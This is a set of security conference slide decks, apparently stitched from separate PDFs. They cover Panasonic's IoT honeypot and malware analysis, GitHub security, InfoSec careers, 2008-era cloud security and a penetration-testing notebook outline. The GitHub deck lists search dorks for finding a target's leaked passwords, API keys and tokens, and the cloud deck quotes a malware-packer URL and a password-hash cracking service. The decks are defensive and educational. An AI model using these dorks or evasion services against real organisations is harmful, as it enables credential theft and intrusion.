Web-site, PC, Server,
Network, Data and
Application
CSIRT
Info. Systems related
department
Product Security
Product
Product and Services
provided by Panasonic
PSIRT
Product Security Center
Manufacturing System
Security
Factory,
Manufacturing
Manufacturing system
and Production
Machine in Panasonic
FSIRT
Manufacturing related
department
Cyber Security Activities in Panasonic
Planning
Design
Implement Verity(Test) On market
Incident Coordinators
FIRST, IPA(JP), CERT(US), JPCERT/CC(JP)
Panasonic PSIRT
Security Institution
ISPs, Vendors, Academics, Individuals
Panasonic
AP-IRT
LS-IRT
IS-IRT
CNS-IRT
AM-IRT
Incident Response Framework at Panasonic
Panasonic IoT Threat Intelligence Project
Challenges in Product Security
Requires trigger
• Incident response requires trigger (internal/external notification)
• Not relying on external organization to collect threat information
Proactively analyze / utilize threat information
New threat
New vulnerability
New threat
New vulnerability
More secure products
Collect malware targeting home electronics
Through the platform, goal is to strengthen overall IoT security
Analysis of malware characteristics
IoT Threats
Collection
IoT Threats
Analysis
IoT Device
Protection
Panasonic IoT Threat Intelligence Platform Concept
Real time collection using IoT home electronics
Ability to collect attacks against products in
development
Increase global coverage of observation points
On-going
On-going
On-going
IoT Threat Collection - Malware targeting home electronics
IoT Malware
Analysis Results
Statistical Analysis
Collect Malware
(Honeypot)
Process this flow automatically
Behavior Analysis (IoT Sandbox)
Collect Malware Targeting
IoT Home Electronics
Behavior analysis specialized for IoT malware
Auto-processing from collection to
analysis/statistics
On-going
On-going
On-going
IoT Threat Analysis – Analyze Characteristics of IoT Malware
IoT Device Protection – Feedback to Product Developer
•
Categorize attack against product in development with
standard framework (e.g. MITRE ATT&CK)
•
Analyze targeted vulnerabilities to assess
countermeasures for products
•
Product specific characteristics
Vulnerability
Impact
Collect threat
(Honeypot)
Threat Analysis (Statics app, elasticsearch)
Malware Analysis
Share attack overview / IoT malware analysis
to product developer
On-going
Risk analysis for products in development
Coming Soon
※The home appliance was not infected and there were no damages
Attacks Collected
603,589,498
Malware Collected
56,426
IoT Malware Collected
12,634
Home electronics with
malicious files placed※
2 types
IoT Threat Collection
IoT Threat Analysis (Malaware Analysis)
Of the top 10 destination IP addresses, besides DNS (8.8.8.8),
all are malware distribution sites (malicious sites)
Top 3 destination countries are USA, China, Japan
(Followed by Germany, England, S. Korea, S. Africa, Brazil , France, Egypt.)
Accomplishments – November 2017 – Jun 2020
・張智翔
・Jimmy
・Panasonic Cyber Security Lab
・Past experience in software / system development
・Joined Panasonic in 2018 and involved in IoT security
About me
Analysis example of Collected Threat Information
•
Peak in Dec 2019
•
Peak in June 2020
•
Total attack number decreasing since Feb, 2020
2019/12
Attack trend
2020/06
•
Peak in Dec 2019
•
Remote attacks against Microsoft SQL, targeting servers with weak password
•
Peak in June 2020
•
UPnP vulnerability “Call Stranger” was disclosed
2019/12
MsSQL
2020/06
UPnP
Top 10 Attacked Protocols
Decrease from 600 mil to 0.25 mil
•
Attacks to MSSQL dropped in May
•
Attacks to UPnP from China and US
soared in June.
•
telnet, ssh, UPnP are targets
constantly in the Top5
2020/4
2020/5
2020/6
Top 5 Attacked Protocols
•
Peak in Dec 2019
•
Attack Source by Country: China and Taiwan
•
Peak in June 2020
•
Attack Source by Country: China and the USA
Top 10 Attack Sources by Country
•
China is constantly Top1 since this April.
•
Observed many attacks against 1900 (UPnP), 1433 (MSSQL).
Top 5 Attack Sources by Country
2020/4
2020/5
2020/6
•
Devices being attacked have ports open such as Web, UPnP, SMB, etc.
#2 Home camera
#4 Intercom
#3 BD recoder
#1 Security camera
0
50
100
150
200
250
300
2018Q1
2018Q2
2018Q3
2018Q4
2019Q1
2019Q2
2019Q3
2019Q4
2020Q1
Attacks [K]
Attack Trend Against Physical Honeypots
Dehumidifier
Refrigerator
Home camera
Intercom
BD recoder
TV
Wash machine
Security camera
Air condinctioner
Attack trends against Home IoT Appliances
•
Top 2 China, the USA
•
Almost all attacks are against 1900 (UPnP), 80 (http)
•
Observed a lot of “M-SEARCH” messages. Probably:
- Search for vulnerable devices to use in SSDP reflection attacks
Attacks against security cameras
Trends in Collected IoT Malware
•
66% Known malware ; 34 % Unknown malware (using VirusTotal)
•
Between a couple to 150-170 samples collected daily
•
No direct correlation between number of attacks and number of collected
malware samples
•
Likely due to most attack attempts being scans
Analysis of Collected Malware
・Most Linux based malware
target PC/Servers (i386 and amd64)
・30% of total attacks against
IoT architecture
・ARM and MIPS are the main
targets for IoT malware
・Most IoT malware collected
are gafgyt and mirai family
Malware was placed in a shared folder that did not have any authentication
・5 malware samples placed
・CVE-2017-7494(SambaCry - Attack was not successful)
・4 suspicious files
・1 malware sample
・W32/Tenga
Observed on June, 2018
Observed between October – December, 2018
Observed between January – March, 2019
Attacked Home IoT Appliances -Suspicious Files-
Listing of shared folders
Upload malware
Malware exploits
CVE-2017-7494 (SambaCry)
Attempts to load malware onto Samba
server
Fails to specify full path for malware. Attack
attempt unsuccessful.
Delete malware
Not deleted entirely, some parts remain
Attacked Home IoT Appliances -Suspicious Files-
IoT Malware Analysis (Case 1) - EchoBot
Mirai variant
After intrusion, process name is disguised
Scanner depends on environment
Only vulnerabilities scanner (1 CPU)
Vulnerabilities scanners and Telnet/SSH
scanner (More than 1 CPU)
Targets vulnerability (command injection)
in IoT device
(Observed between April - June 2019)
IoT Malware Analysis (Case 1) - EchoBot
Encrypts password list used during Telnet
scan
Original Key “DEADBEEF”
XOR Key ”DFDAACFD”
C&C Server
IP addresses from China
DoS Functions
Typical mirai DDoS functions
ARM, MIPS, PPC, SH4, SPC, x86, etc.
(Observed between June - July 2019)
IoT Malware Analysis (Case 2) - LiquorBot
Mirai variant
Rewritten in golang
Scan vulnerabilities for many IoT devices
Linksys
Dlink
…
SSH scanner
Brute force attack for SSH
Recognized as nonmalicious by VirusTotal
Coin Miner functions
MIPS
(Observed between Jan - Feb 2020)
Tsunami variant
Packed by UPX
Infection through telnet
Drop telnet connection after infection
Mapping table for encryption/decryption
Support command to deploy bot as C2
Deploy “ngircd” IRC server
ARM
IoT Malware Analysis (Case 3) - Sandbot
(Observed between July - September 2019)
Next Steps
Future Vision - Strengthen B2C Security
Collaborate with industry to see if global
trends match attacks against our products
Categorize attack against product in development with
standard framework (e.g. MITRE ATT&CK, etc.)
Proactively Collect / Analyze incoming threats
The goal is to strengthen overall IoT security | pdf |
Github Security
n|u - The Open security community
Chennai Meet
Presenter : Vinothkumar
Date : 27/04/2019
About Me
Application security engineer @ Freshworks, Inc.
Blogger @ https://tutorgeeks.blogspot.com
Tweet @vinothpkumar
Github @ https://github.com/tutorgeeks
Agenda for the session
1. What is Github
2. Using Github / Github Gist search for bug bounty hunting
3. Securing Wiki
4. Securing Forked repos
5. Security Audit log
6. Post commit security check using Gitrob
7. Pre commit security check using Git Secrets
8. Github security best practises
1.What is Github
●
GitHub is a code hosting platform for collaboration and version control.
●
GitHub lets you (and others) work together on projects.
●
28 million users and 57 million repositories making it the largest host of source code
in the world.
●
Parent company : Microsoft (2018–present)
●
Written in Ruby
Git Cheat Sheet
2.Using Github search for bug bounty hunting
Github is a great place to look for credentials and private API keys. Here’s a list of a few
items that you could use to find information about your target.
●
“example.com” API_key
●
“example.com” secret_key
●
“example.com” aws_key
●
“example.com” Password
●
“example.com” FTP
●
“example.com” login
●
“example.com” github_token
PayTM
“paytm.com “ “password”
Bounty awarded : Rs.21200
Status : Fixed
https://twitter.com/s4thi5h_infosec/status/1067004873663639552
Snapchat
Bounty hunter Th3G3nt3lman was awarded $15,000 after discovering and reporting a
sensitive auth token that was accidentally posted by a Snapchat software engineer.
https://medium.com/@cosmobugbounty/bounty-of-the-week-15-000-snapchat-leak-af38f882d3ac
Search Github Gist [ Mostly Ignored ]
GitHub Gist is used instantly share code, notes, and snippets.
●
Helps to create public and secret gist.
●
Secret gist is only protected by a token. Use with caution while creating secret gist
since developer could paste the secret gist public along with the token.
site:gist.github.com “companyname”
Zomato - Mandate 2FA
●
Zomato’s Github org was compromised using the leaked password of 000webhost.
●
Attacker used the credential to login into Zomato Github org account [ 2FA is not
implemented at the time of the hack]
●
Attacker looked at the code base and found a RCE vulnerability and exploited it.
●
Zomato acknowledged the fact that they could’ve easily avoided this issue if they had
implemented 2FA.
●
Avoid using the same credential in all websites.
https://www.zomato.com/blog/security-update-what-really-happened-and-what
3.Securing Wiki
GitHub Org accounts may contain world-editable wiki pages :
https://www.smeegesec.com/2019/03/auditing-github-repo-wikis-for-fun-and.html
Python script to check GitHub accounts for world-editable wiki pages : https://github.com/SmeegeSec/GitHub-Wiki-Auditor
4.Securing Forked repos
A fork is a copy of a repository. Forking a repository allows you to freely experiment with
changes without affecting the original project.
●
Forked repositories are public by default.
●
Watch out for sensitive PII in forked repo in commits / Pull request.
Instead of forking the repo, create a private repo with the forked repo contents.
5.Security Audit log
●
The audit log allows organization admins to quickly review the actions performed by
members of your organization. It includes details such as who performed the action,
what the action was, and when it was performed.
●
Logs are useful for debugging and internal and external compliance.
https://help.github.com/en/articles/reviewing-the-audit-log-for-your-organization
6.Gitrob [ post commit checks ]
●
Reconnaissance tool for GitHub organizations
●
It helps to find potentially sensitive files pushed to public repositories on Github.
●
Gitrob will clone repositories belonging to a user or organization down to a
configurable depth and iterate through the commit history and flag files that match
signatures for potentially sensitive files.
●
The findings will be presented through a web interface for easy browsing and
analysis.
https://github.com/michenriksen/gitrob
Demo:
7.Git Secrets [ pre commit checks ]
Prevents you from committing secrets and credentials into git repositories
●
git secrets --scan [-r|--recursive] [--cached] [--no-index] [--untracked] [<files>...]
●
git secrets --scan-history
●
git secrets --install [-f|--force] [<target-directory>]
●
git secrets --list [--global]
●
git secrets --add [-a|--allowed] [-l|--literal] [--global] <pattern>
●
git secrets --add-provider [--global] <command> [arguments...]
●
git secrets --register-aws [--global]
●
git secrets --aws-provider [<credentials-file>]
https://github.com/awslabs/git-secrets
Demo:
8.Github security best practises
1. Never store credentials as code/config in GitHub.
2. Remove Sensitive data in your files and GitHub history
3. Tightly Control Access
4. Add a SECURITY.md file
5. Validate your GitHub Applications Carefully
6. Add Security Testing to PRs
7. Use the Right GitHub Offering for your Security Needs
8. Rotate SSH keys and Personal Access Tokens
9. Create New Projects with Security in Mind
10. Audit the Code/apps you use into GitHub
Reference: https://snyk.io/blog/ten-git-hub-security-best-practices/ | pdf |
Effective InfoSec Career Planning
Beyond Job Hopping to a Real Career
Lee Kushner / Mike Murray
[email protected] /
[email protected]
2
Who Are We?
• InfoSecLeaders.com
– The best source for career guidance for information security
professionals
– A place to learn, grow, ask and share about the difficulties of
navigating this difficult industry.
• The principals
– Lee Kushner
• Over 10 years of Success Recruitment of Information Security Professionals
• Founder and CEO of the Leading Information Security Recruitment Firm, LJ
Kushner and Associates LLC
• Wide Range of Nationally Based Clients from Fortune 500s to security
product vendors
– Mike Murray
• Security professional with a decade of experience in penetration testing and
vulnerability research
• CISO of Foreground Security, managing partner of Michael Murray and
Associates, where he directs diverse security industry projects.
• Security blogger (Episteme.ca), podcaster, and regular speaker on social
engineering, vulnerability management and the human side of security.
3
The Fake Study
• We wanted to open with a great story
– The oft-quoted Yale study on Goal Setting
– 3% of the students wrote down goals, 97% didn’t
– That 3% exceeded the accomplishments of the entire other
97%.
• The study isn’t true
– Widely quoted, not real.
– Why is it so prolific?
• Brian Tracy said it best:
– “[I] heard this story originally from Zig Ziglar. If it's not true it
should be.“
– Because Goal Setting really does make life better
• But it’s hard work. So most people don’t do it.
A History Lesson
They that do not learn their history are doomed to repeat it.
4
5
Timeline – The Early Years
6
Interconnecting
October 13, 1994
August 24, 1995 November 8, 1996
Vulnerability Environment:
• Syn Flooding
• UDP Denial of Service
• Smurf attacks
• Teardrop
• Land
7
The Internet Era
Major Vulnerabilities in:
• Bind
• Sendmail
• Sadmind
• Apache
• IIS
• Wu-FTPD
• Tooltalk
• IMAP
• POP
• SQL Server
• Statd, CDE
Major Worms:
•Cod Red
•Nimda
•SQL Slammer
•MS Blaster
Step 1
Know Where You Want to Go
Yogi Berra: “If you don't know where you're going, you'll wind up somewhere else.”
8
9
Creating an Effective Plan
• The Best Plan
– Ties long-term career strategy to short-term activities
– Matches your skills, aptitudes and potential
– Allows you to move forward daily.
– Deals with more than just your career - your career should
be a part of your overall life plan.
• How do you do that?
– Go beyond Job Descriptions
– The importance of Mentoring and having good models
• Every plan has risk
– You can do anything you want, but you can’t do everything
that you want.
– Each fork in the road leaves a road untraveled.
10
Exercise:
Creating Your Goals
Step 2
Know Your Skills
11
12
Exercise:
Skill Self-Assessment
Step 3
Developing YOUR Career Plan
There is no One-Size Fits All
13
14
Exercise:
A Short Career Plan
Step 4
Effective Career Investment
Warren Buffet: “Rule No 1: Never Lose Money.”
15
16
Exercise:
Your Investment Portfolio
17
Exercise:
Networking: Never Eat Alone
18
Exercise:
Mentorship: Who’s Got Your Back?
Step 4
Taking a Job
Where the Rubber Meets the Road
19
20
Exercise:
Alignment
Conclusions
21
22
We plan, God Laughs
Old Yiddish Proverb
23
23
Announcements
• We’re still doing the survey
– Through our roles, we gather a lot of anecdotal evidence,
but we can’t ever have enough hard data.
– With the economy as it is, we wanted more data.
• Fill it out:
• http://www.infosecleaders.com/survey
• We’re launching a podcast!
– Check back to http://www.infosecleaders.com in the next
couple of weeks for our first episode.
– Dealing with all the issues we usually talk about - career
management, planning, resumes, etc.
• You can always email us with questions:
– Lee Kushner: [email protected]
– Mike Murray: [email protected] | pdf |
Cloud
inSecurity
[email protected]
HIT2008
Cloud
inSecurity
Who am I?
Camera man @ HITCon
Member @
Sr. Engineer @
Network
Security
Web 2.0
Security
BSD/Linux
Kernel
Firewall
Internal
IPS/IDS
Anti-SPAM
Antivirus
Programming
Network
Appliance
苦命工程師
過勞
好人 Orz
Network
Access
Control
加班
Before the Presentation
This is a trend discussion.
No deep technical issues.
It’s about new security model.
Not technology.
AGENDA
Cloud Computing
in
Security World
AGENDA
Vendors are eager to adopt this
technology.
Are bad guys scared?
(Or excited ☺)
AGENDA
and …
What about
Bad guys 0wn the Cloud.
What is the Cloud Computing?
What is Cloud Computing?
SaaS
(Software as a Service)
In-the-cloud Service
Thin Client
Cloud Computing (SaaS)
Move applications, storages, …
To Cloud Servers.
Client becomes simple.
Cloud Computing (SaaS)
Still no idea?
Google web applications
Amazon EC2/S3/Simple DB
…
Cloud Computing (SaaS)
No hardware issues,
No software update,
No storage problem, and
You can use it wherever you are.
Cloud Computing (SaaS)
This model is amazing, and
really changed our life.
But you may already know,
hackers are always ahead of us.
They knows cloud computing very
long time ago.
How it works?
Scenario 1
駭客小陳 的 Cloud Computing
雲端儲存 肉雞儲存
________
小陳的雲 (烏雲)
無辜的人
小陳
馬神
後門神
How it works?
Scenario 2
還是 駭客小陳 的 Cloud Computing
雲端運算 肉雞運算
________
小陳的雲 (烏雲)
John 神
小陳
Shadow
密碼檔
Grid Computing
How it works?
Scenario 3
還是 駭客小陳 的 Cloud Computing
雲端運算 肉雞運算
________
小陳的雲 (烏雲)
無辜的網站
DDoS 神
小陳
不爽
召喚
Bot Net
MD5 Rainbow Table
本站4T硬盘已经上线,共有md5记录
457,354,352,282条,宇宙第一,且还在不断增长
中,已包含12位及12位以下数字、8位字母、全部
7 位及以下字母加数字等组合,并针对国内用户做
了大量优化,例如已经包含所有手机号码、全国部
分大中城市固定电话号码、百家姓、常用拼音等大
量组合,另加入 了大型网站真实会员密码数据100
万条。本站数据量大,查询速度快,同时支持16
位及32位密码查询。通过对10万会员的真实动网
论坛样本数据的测试,本 站对于动网论坛密码的
命中率达到83%。全国独此一家。
Dark Cloud
Malware is software,
software is moving to the cloud,
therefore,
malware is moving to the cloud.
Dark Cloud
Malware as a Service
MaaS
Dark Cloud – Profit Driven
Criminals have adopted the
new model too, and are
offering
“crimeware as a service”
(CaaS).
Dark Cloud
Cybercrime is now about
making money
CaaS
A few years ago they started
selling e-mail addresses,
credit-card numbers and other
personal information.
CaaS
More recently they have taken
to setting up and then renting
out botnets.
CaaS business model.
CaaS
The operator of the CaaS
provides real-time information
on the size and availability of
the botnets.
CaaS
That can be activated remotely to
flood a website with bogus
requests (DDoS)
send millions of “spam”
CaaS
That can be activated remotely to
grab PC owners’ online
banking information, or
steal log-in credentials.
So …
What do security venders do
against such sophisticated
Maas/CaaS?
Secure Cloud – Anti-Spam
Secure Cloud – Anti-Spam
Anti-spam adopted cloud model
long time ago.
IP black-list
RBL, Spamhaus, SORBS,
DSBL, and …
Secure Cloud – Anti-Spam
Mail Hosted Service (in the cloud)
Google Postini, Trend Micro
IMHS, and many others
Secure Cloud – Anti-Spam
Problems:
The growing usage of zombies
and botnets has also made
blacklists much less effective
in blocking email.
Secure Cloud – URL Filtering
Real-time query for
URL/Domain Name reputation
Black listed model
Problems?
Secure Cloud – URL Filtering
Secure Cloud – URL Filtering
…
Secure Cloud – URL Filtering
Secure Cloud – URL Filtering
Secure Cloud – URL Filtering
Secure Cloud – URL Filtering
Secure Cloud – URL Filtering
Secure Cloud – Antivirus
Secure Cloud – Antivirus
Wait! What?
Secure Cloud – Antivirus
Antivirus vendors are facing very big challenges.
Secure Cloud – Antivirus
Panda Security
TruPrevent - Collective
Intelligence 2007
Secure Cloud – Antivirus
TruPrevent - Collective
Intelligence
Benefiting from “community” knowledge to
proactively protect others.
Automating and enhancing malware collection,
classification and remediation.
Gaining knowledge on techniques to improve
existing technologies.
Deploying new generation of security services
from the cloud.
Secure Cloud – Antivirus
McAfee Artemis
Secure Cloud – Antivirus
McAfee Artemis
Provide customers with the most up-to-date
detections for certain malware.
Looking for suspicious programs and dlls
Send a request to a central database server
hosted by McAfee Avert Labs
Server will determine if this program is malicious
and will respond
Secure Cloud – Antivirus
Secure Cloud – Antivirus
Secure Cloud – Antivirus
Trend Micro
File Reputation Service
and
Smart Protection Network
June, 2008
Secure Cloud – Antivirus
Threat Protection Databases
Patterns
Past
Slowly
Changing
<50 Per Day
Rapidly
Changing
Patterns
Reputation
SDK
SDK
>5,000
Per Day
Today
Threat Protection Databases
Traffic
Reputation
Agent
Agent
Multi-Threat
Correlation
SDK
SDK
Future
Threat Protection Databases
Secure Cloud – Antivirus
Secure Cloud – Antivirus
Trend Micro FRS
Minimal endpoint pattern updates.
Significantly reduce endpoint memory
consumption
Protect in real time
Reduce the need for pattern updates
Secure Cloud - Benefits
Effectiveness
Flexibility
Ease of Deployment and Use
No admin and setup overhead
Low total cost of Ownership
Scalability and Reliability
Secure Cloud - Benefits
It hopes the shift in
architecture will help to speed
its reaction to zero-day threats
and improve the performance
of end users' PCs.
Secure Cloud – Challenge -
Technical
Must be
Stable and
Internet Connected
Secure Cloud – Challenge -
Technical
DNS becomes very critical.
DNS hijacking risks.
DNS must be stable as well.
Secure Cloud – Challenge -
Technical
Antivirus ‘in the cloud’ problems
Easier to be bypassed?
(Cache attack)
It is still pattern based scanning.
(against dark cloud packer)
http://meatchicken.com/packer.pl?file=trojan.exe
Overestimated forensics engine
Secure Cloud – Challenge -
Technical
Are they all “hacker safe” ;-)
It makes total sense but they
don’t mention what will happen if
they get hacked
What you send is not what is
received?
Cloud becomes critical.
(once hacked, all hacked.)
Secure Cloud – Challenge –
non Technical
Privacy Issue.
When someone else hosts and processes
your data, how can you tell if it is "secure?"
If you haven’t noticed yet, everything is
pushed into the cloud, not only your social
life but your personal data and now even
your health records thanks to Google.
Secure Cloud – Challenge –
non Technical
Cost
the cost of shifting away form
their existing deployment.
Secure Cloud – Challenge –
non Technical
Enterprise Concerns
IT against.
New model introduced new
vulnerabilities.
Billing model changed.
Secure Cloud – Challenge
SaaS infrastructures are
definitely more attractive to
attackers. :)
Secure Cloud – Challenge
Are you cloud services used
by normal user or bad guys?
Leverage existing cloud
services
(Hacking - power by Google
cpu/bandwidth/…)
Discussion
Discussion
White list
vs
Black list
Discussion
Behavior / heuristic analysis
vs
Signature based protection
Discussion
Is it just a white or black listed
filtering model.
No, the most valuable thing is
collaboration
Discussion
Correlation technology with
behavioral analysis.
Feedback loops contributing
Conclusion
It is still worth to try for
security vendors
(as well as for hackers)
Behind the Cloud
Who is watching you? | pdf |
Security Assurance Basics: Offensive Security Assurance
“Penetration Testing 101”
(mRr3b00t’s Notebook draft edition 0.3)
Author: Daniel Card
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 2
Contents
Copyright ............................................................................................................................................... 10
Document Control................................................................................................................................. 10
Version .............................................................................................................................................. 10
A glimpse at mRr3b00t’s world ............................................................................................................. 11
Introduction .......................................................................................................................................... 12
Disclaimer.............................................................................................................................................. 12
Realities of System Security Assurance Activities ................................................................................. 13
Sales ...................................................................................................................................................... 14
Scoping .................................................................................................................................................. 14
Test Focus ......................................................................................................................................... 14
Test Types ......................................................................................................................................... 14
Test Scope Definition ........................................................................................................................ 14
Planning ................................................................................................................................................ 15
The Penetration Testing Project ........................................................................................................... 15
Reporting, Findings and Recommendations ......................................................................................... 15
Debriefing.............................................................................................................................................. 15
Penetration Testing Tools – The basics ................................................................................................. 16
Open Source Intelligence Gathering Tools ........................................................................................... 16
Network and Vulnerability Scanning Tools ........................................................................................... 16
Credential Testing Tools ........................................................................................................................ 16
Debugging Tools .................................................................................................................................... 16
Software Assurance Tools ..................................................................................................................... 17
Wireless Testing .................................................................................................................................... 17
Web Proxy Tools ................................................................................................................................... 17
Social Engineering Tools ....................................................................................................................... 17
Remote Access Tools ............................................................................................................................ 17
Network Tools ....................................................................................................................................... 17
Mobile Tools ......................................................................................................................................... 17
Misc Tools ............................................................................................................................................. 17
Dependencies........................................................................................................................................ 18
Guest Operating Systems ...................................................................................................................... 18
Vulnerable Pre-Made Targets ........................................................................................................... 18
Extras For learning ............................................................................................................................ 18
Types of Penetration Test ..................................................................................................................... 19
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 3
Frameworks .......................................................................................................................................... 19
Resources .............................................................................................................................................. 19
Project ................................................................................................................................................... 20
Scoping, Project Setup, Legal & Regulatory, Scheduling, Rules of Engagement .............................. 20
Penetration Testing Phases ................................................................................................................... 20
Post Exploitation ................................................................................................................................... 20
Report Creation and Delivery ............................................................................................................... 20
Key Stakeholder and Team Playback .................................................................................................... 20
Tool bag ............................................................................................................................................. 21
Recon Types and Focuses ..................................................................................................................... 21
Passive Recon ........................................................................................................................................ 22
Search Engines ...................................................................................................................................... 22
Example – Google Dorking ................................................................................................................ 22
Types ............................................................................................................................................. 22
Operators ...................................................................................................................................... 22
Example ............................................................................................................................................. 22
DNS ........................................................................................................................................................ 22
Maltego ................................................................................................................................................. 22
Spiderfoot ............................................................................................................................................. 23
Shodan .................................................................................................................................................. 23
Recon-NG .............................................................................................................................................. 23
The Harvester ........................................................................................................................................ 23
Documenting Findings .......................................................................................................................... 23
Network Scanning ................................................................................................................................. 24
Nmap (Network Mapper).................................................................................................................. 24
Common scan types .......................................................................................................................... 24
Scanning ranges ............................................................................................................................ 24
OS Identification Through TTL........................................................................................................... 24
Packet Crafting ...................................................................................................................................... 25
Network Mapping Tools ........................................................................................................................ 25
Mapping the Network with Metasploit ............................................................................................ 25
Armitage............................................................................................................................................ 25
Cobalt Strike ...................................................................................................................................... 26
Other C2 Servers ................................................................................................................................... 26
Enumerations Basics ............................................................................................................................. 26
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 4
Banner Grabbing ............................................................................................................................... 26
Telnet ............................................................................................................................................ 26
SMB ............................................................................................................................................... 26
SMTP ............................................................................................................................................. 26
FTP ................................................................................................................................................. 26
On box enumerations ....................................................................................................................... 26
Basic Local Windows Enumeration ....................................................................................................... 28
Clearing Up Output (cmd.exe) ...................................................................................................... 28
PowerShell (using PowerShell) ..................................................................................................... 28
Basic Linux Enumeration ....................................................................................................................... 29
Metasploit ............................................................................................................................................. 29
Cool msf commands ...................................................................................................................... 29
On Box Enumeration (Linux) ................................................................................................................. 30
BASH (Basic Enumeration) ................................................................................................................ 30
METASPLOIT (Basic Enumeration) .................................................................................................... 30
Modules ........................................................................................................................................ 30
Local Shell Test ...................................................................................................................................... 30
NULL SESSIONS ...................................................................................................................................... 32
WebServer Enumeration ...................................................................................................................... 33
HTTP Response codes ....................................................................................................................... 33
Vulnerability Scanning .......................................................................................................................... 33
Tools .................................................................................................................................................. 33
Scripting ................................................................................................................................................ 33
Common Scripting/Programming Languages ................................................................................... 33
Generally Interpreted ................................................................................................................... 33
Compiled ....................................................................................................................................... 33
Penetration Testing Documentation Tools ........................................................................................... 34
Report/Note Taking Tools ..................................................................................................................... 34
Diagramming Tools ............................................................................................................................... 34
RFID Duplicators ................................................................................................................................ 35
Techniques ............................................................................................................................................ 35
Phishing Task ......................................................................................................................................... 36
Physical Attacks ..................................................................................................................................... 36
Physical Controls ............................................................................................................................... 36
Door Access Controls ............................................................................................................................ 36
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 5
Enumeration, Vulnerability Identification ............................................................................................ 37
Picking a vulnerability scanning ........................................................................................................ 37
Tooling .............................................................................................................................................. 37
Picking a vulnerability scanning Tool ................................................................................................ 37
Open source vs Commercial ......................................................................................................... 37
Cloud vs On Premises ............................................................................................................................ 37
Interpreting Output .............................................................................................................................. 37
Asset Categorisation ......................................................................................................................... 37
Adjudication ...................................................................................................................................... 37
False Positives ................................................................................................................................... 37
Common Themes .............................................................................................................................. 37
Prioritization ..................................................................................................................................... 38
Mapping & Prioritisation ....................................................................................................................... 38
Attack Techniques ................................................................................................................................. 38
Techniques ............................................................................................................................................ 38
Exploits & Payloads ............................................................................................................................... 39
Exploit ............................................................................................................................................... 39
Payload .............................................................................................................................................. 39
Staged vs Upstaged Payloads ............................................................................................................ 39
Cross Compiling Code ........................................................................................................................... 39
Exploit Modification .............................................................................................................................. 39
Exploit Chaining .................................................................................................................................... 39
Proof of Concepts ................................................................................................................................. 39
Deception Tactics .................................................................................................................................. 39
Password Attacks .................................................................................................................................. 39
Attacks .................................................................................................................................................. 40
Ethernet & TCP/IP Networks............................................................................................................. 40
Network Protocol Exploits .................................................................................................................... 41
SMB ................................................................................................................................................... 41
SNMP ................................................................................................................................................. 41
FTP ..................................................................................................................................................... 41
DNS .................................................................................................................................................... 41
Name Resolution ............................................................................................................................... 42
Wireless Networks ................................................................................................................................ 42
Tools .................................................................................................................................................. 42
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 6
Attacks and Techniques .................................................................................................................... 42
Lab Activities ..................................................................................................................................... 43
Replay Steps ...................................................................................................................................... 43
Fragmentation Attacks ...................................................................................................................... 43
Aircrack-ng ........................................................................................................................................ 43
Specialist Systems ................................................................................................................................. 44
Mobile Systems ............................................................................................................................. 44
Industrial Control Systems (ICS) and SCADA (supervisory control and data acquisition) ................. 44
ICS ..................................................................................................................................................... 44
SCADA ............................................................................................................................................... 44
Embedded Systems ........................................................................................................................... 44
Real -Time OS’s (RTOS) ..................................................................................................................... 44
Internet of Things (IoT) ..................................................................................................................... 44
Point of Sale Systems ........................................................................................................................ 44
Host based Exploitation ........................................................................................................................ 45
Linux Package Managers ....................................................................................................................... 45
Windows Systems and Vulnerabilities .................................................................................................. 45
Types of Vulnerability ....................................................................................................................... 45
Web Application Vulnerabilities ....................................................................................................... 45
Common Windows Exploit Examples ................................................................................................... 46
More modern examples .................................................................................................................... 46
Dumping Hashes & Password Cracking................................................................................................. 46
Techniques ............................................................................................................................................ 46
Windows Credential Dumping .......................................................................................................... 47
Dump the SAM .................................................................................................................................. 47
Registry export .............................................................................................................................. 47
Common nix Vulnerabilities .................................................................................................................. 48
LINUX ..................................................................................................................................................... 48
Common Exploits .................................................................................................................................. 48
Password Cracking for LINUX ................................................................................................................ 48
Credentials are stored ........................................................................................................................... 48
Protocol Exploitation ............................................................................................................................ 49
Windows ........................................................................................................................................... 49
NIX ..................................................................................................................................................... 49
Protocols and Services ...................................................................................................................... 49
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 7
Windows ....................................................................................................................................... 49
Linux .............................................................................................................................................. 49
LAB Activity ........................................................................................................................................... 49
Windows ........................................................................................................................................... 49
Linux .................................................................................................................................................. 49
Exploitation ....................................................................................................................................... 49
Windows 7 .................................................................................................................................... 49
File Permissions and Exploitations ........................................................................................................ 50
Windows ........................................................................................................................................... 50
Linux .................................................................................................................................................. 50
Linux Sensitive Files........................................................................................................................... 50
Resources .......................................................................................................................................... 50
Kernel Vulnerabilities and Exploits ....................................................................................................... 50
Memory Vulnerabilities ........................................................................................................................ 50
Default Accounts ................................................................................................................................... 51
Windows ........................................................................................................................................... 51
Linux (nix) .......................................................................................................................................... 51
Sandboxes ............................................................................................................................................. 51
Windows ........................................................................................................................................... 51
Escape Techniques ........................................................................................................................ 51
MAC OS & IOS ....................................................................................................................................... 52
Android ................................................................................................................................................. 52
Physical Attacks ..................................................................................................................................... 53
Common Cracking Tools ....................................................................................................................... 53
Attacking Applications and Web Applications ...................................................................................... 54
Common Web Application Vulnerabilities ............................................................................................ 54
Common Misconfigurations .............................................................................................................. 54
LAB Tasks ........................................................................................................................................... 55
Authentication & Authorisation Attacks ............................................................................................... 56
Injection Attacks ................................................................................................................................... 56
HTML Injection .................................................................................................................................. 56
Cross Site Scripting (XSS) ................................................................................................................... 56
Cross Site Request Forgery (XSRF) .................................................................................................... 56
Clickjacking ........................................................................................................................................ 56
Other Vulnerabilities/Exploits ............................................................................................................... 56
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 8
Lab Work ........................................................................................................................................... 57
Static Code Analysis .............................................................................................................................. 58
Dynamic Code Analysis ......................................................................................................................... 58
Fuzzing .................................................................................................................................................. 58
Reverse Engineering.............................................................................................................................. 58
Post Exploitation ................................................................................................................................... 59
Enumeration ......................................................................................................................................... 59
Lateral Movement................................................................................................................................. 59
Pivoting ............................................................................................................................................. 59
Maintaining Persistence........................................................................................................................ 59
